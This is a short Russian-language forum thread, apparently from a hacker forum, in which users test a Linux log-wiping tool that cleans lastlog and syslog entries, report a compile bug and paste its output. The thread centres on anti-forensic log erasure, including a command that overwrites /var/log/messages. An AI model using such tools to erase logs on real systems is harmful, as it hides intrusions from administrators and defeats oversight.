KaZ@NoVa
26.02.2009, 21:09
у меня какой-то косяк творится,не запустить + инет не пашет.
Помогает восстановление, но меня насторожило, что это уже 2-й раз происходит.
у меня какой-то косяк творится,не запустить + инет не пашет.
Помогает восстановление, но меня насторожило, что это уже 2-й раз происходит.
лолек, какое еще восстановление??:D
De-visible
27.02.2009, 01:43
+10 первому нашедшему косяк с подробным описанием.
лучше +1 десять раз...
щас затестил на
Linux g 2.4.20-8 #1 Thu Mar 13 17:18:24 EST 2003 i686 athlon i386
GNU/Linux
все кул..
кстате, версия 1,0 даже не скопелилась...
KaZ@NoVa
27.02.2009, 10:34
лолек, какое еще восстановление??:D
__________________________________
Что самое интересное - Log никаких логов нет, пусто! :(
winterfrost
27.02.2009, 12:03
все кул..
кстате, версия 1,0 даже не скопелилась...
ошибка там в версии 1.0
#ifndef _PATH_LASTLOG
#define _PATH_LASTLOG "/var/log/lastlog
#endif
тут просто ковычку закрыть надо после /var/log/lastlog
млять... тестируем версию 1.1!
Если вы не знаете что такое бинарные логфайлы, пожалуйста, не используйте этот код и не пишите сюда.
добавлено:
jawbreaker, стыдно стало? Удалил мессагу... эх ты :)
Отличная прога была бы, но на моей ос выводит [ OK ], хотя логи всё равно, кажись, не чистяться.
./a.out -a localhost
---- lastlog cleaning [ OK ]
---- cat /tmp/tmpfileZU2vm3 > /var/log/messages
---- syslog cleaning [ OK ]
cat /var/log/messages
---- May 11 16:29:36 linux-n2br ifup: eth0 device: Realtek
---- Semiconductor Co., Ltd. RTL8111/8168B PCI Express Gigabit ---- Ethernet controller (rev 01)
---- May 11 16:29:36 linux-n2br SuSEfirewall2: SuSEfirewall2 not active
и т.д.
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot